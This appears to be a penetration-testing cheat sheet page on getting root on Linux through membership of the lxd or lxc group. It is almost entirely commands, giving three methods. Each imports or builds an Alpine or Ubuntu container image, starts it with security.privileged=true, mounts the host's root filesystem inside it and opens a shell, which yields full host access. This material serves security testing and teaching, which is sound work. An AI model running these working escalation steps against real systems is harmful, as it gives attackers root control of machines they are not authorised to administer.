lxd/lxc Group - Privilege escalation

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If you belong to lxd or lxc group, you can become root
Exploiting without internet
Method 1
You can install in your machine this distro builder: https://github.com/lxc/distrobuilder (follow the instructions of the github):
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sudo su
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#Install requirements
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sudo apt update
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sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
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#Clone repo
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sudo go get -d -v github.com/lxc/distrobuilder
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#Make distrobuilder
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cd $HOME/go/src/github.com/lxc/distrobuilder
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make
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#Prepare the creation of alpine
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mkdir -p $HOME/ContainerImages/alpine/
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cd $HOME/ContainerImages/alpine/
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wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
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#Create the container
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sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8
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Then, upload to the vulnerable server the files lxd.tar.xz and rootfs.squashfs
Add the image:
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lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
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lxc image list #You can see your new imported image
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Create a container and add root path
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lxc init alpine privesc -c security.privileged=true
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lxc list #List containers
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​
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lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
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If you find this error Error: No storage pool found. Please create a new storage pool
Run lxd init and repeat the previous chunk of commands
Execute the container:
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lxc start privesc
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lxc exec privesc /bin/sh
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[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
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Method 2
Build an Alpine image and start it using the flag security.privileged=true, forcing the container to interact as root with the host filesystem.
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# build a simple alpine image
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git clone https://github.com/saghul/lxd-alpine-builder
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cd lxd-alpine-builder
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sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
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sudo ./build-alpine -a i686
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​
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# import the image
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lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
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​
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# before running the image, start and configure the lxd storage pool as default 
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lxd init
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​
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# run the image
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lxc init myimage mycontainer -c security.privileged=true
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​
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# mount the /root into the image
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lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
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​
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# interact with the container
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lxc start mycontainer
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lxc exec mycontainer /bin/sh
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Alternatively https://github.com/initstring/lxd_root​
With internet
You can follow these instructions.
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lxc init ubuntu:16.04 test -c security.privileged=true
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lxc config device add test whatever disk source=/ path=/mnt/root recursive=true 
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lxc start test
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lxc exec test bash
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[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
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Other Refs
Privilege Escalation via lxd
Bouge Security
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Exploiting without internet